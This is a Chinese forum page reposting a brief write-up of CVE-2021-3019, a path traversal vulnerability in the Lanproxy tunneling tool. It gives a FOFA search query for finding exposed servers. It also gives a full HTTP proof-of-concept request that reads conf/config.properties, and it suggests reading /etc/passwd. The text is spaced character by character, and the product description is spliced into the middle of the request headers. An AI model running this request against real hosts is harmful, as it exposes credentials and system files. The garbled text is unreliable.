搜索

[730] 2021-01-12_(CVE-2021-3019)Lanproxy路径遍历漏洞

文档创建者：s7ckTeam
浏览次数：16
最后更新：2025-01-16
2021-01-12_(CVE-2021-3019)Lanproxy路径遍历漏洞 ( C V E - 2 0 2 1 - 3 0 1 9 ) L a n p r o x y   路 径 遍 历 漏 洞 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 1 - 0 1 - 1 2 这 里 我 们 使 用 f o f a ， f o f a 关 键 字 如 下 ： h e a d e r =   " S e r v e r :   L P S - 0 . 1 " 我 们 随 便 点 一 个 进 去 ， 是 一 个 登 陆 界 面 到 这 里 我 们 使 用 P O C G E T   / . . / c o n f / c o n f i g . p r o p e r t i e s   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 : 8 0 8 0 U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 5 _ 7 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 7 . 0 . 4 2 8 0 . 6 7   S a f a r i / 5 3 7 . 3 6   E d g / 8 7 . 0 . 6 6 4 . 5 2 A c c e p t :  
尝 试 读 取 / e t c / p a s s w d l a n p r o x y l a n p r o x y 是 一 个 将 局 域 网 个 人 电 脑 、 服 务 器 代 理 到 公 网 的 内 网 穿 透 工 具 ， 支 持 t c p 流 量 转 发 ， 可 支 持 任 何 t c p 上 层 协 议 （ 访 问 内 网 网 站 、 本 地 支 付 接 口 调 试 、 s s h 访 问 、 远 程 桌 面 . . . ） 。 目 前 市 面 上 提 供 类 似 服 务 的 有 花 生 壳 、 T e a m V i e w 、 G o T o M y C l o u d 等 等 ， 但 要 使 用 第 三 方 的 公 网 服 务 器 就 必 须 为 第 三 方 付 费 ， 并 且 这 些 服 务 都 有 各 种 各 样 的 限 制 ， 此 外 ， 由 于 数 据 包 会 流 经 第 三 方 ， 因 此 对 数 据 安 全 也 是 一 大 隐 患 。 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 ; q = 0 . 9 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 , e n ; q = 0 . 8 , e n - G B ; q = 0 . 7 , e n - U S ; q = 0 . 6 C o n n e c t i o n :   c l o s e

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理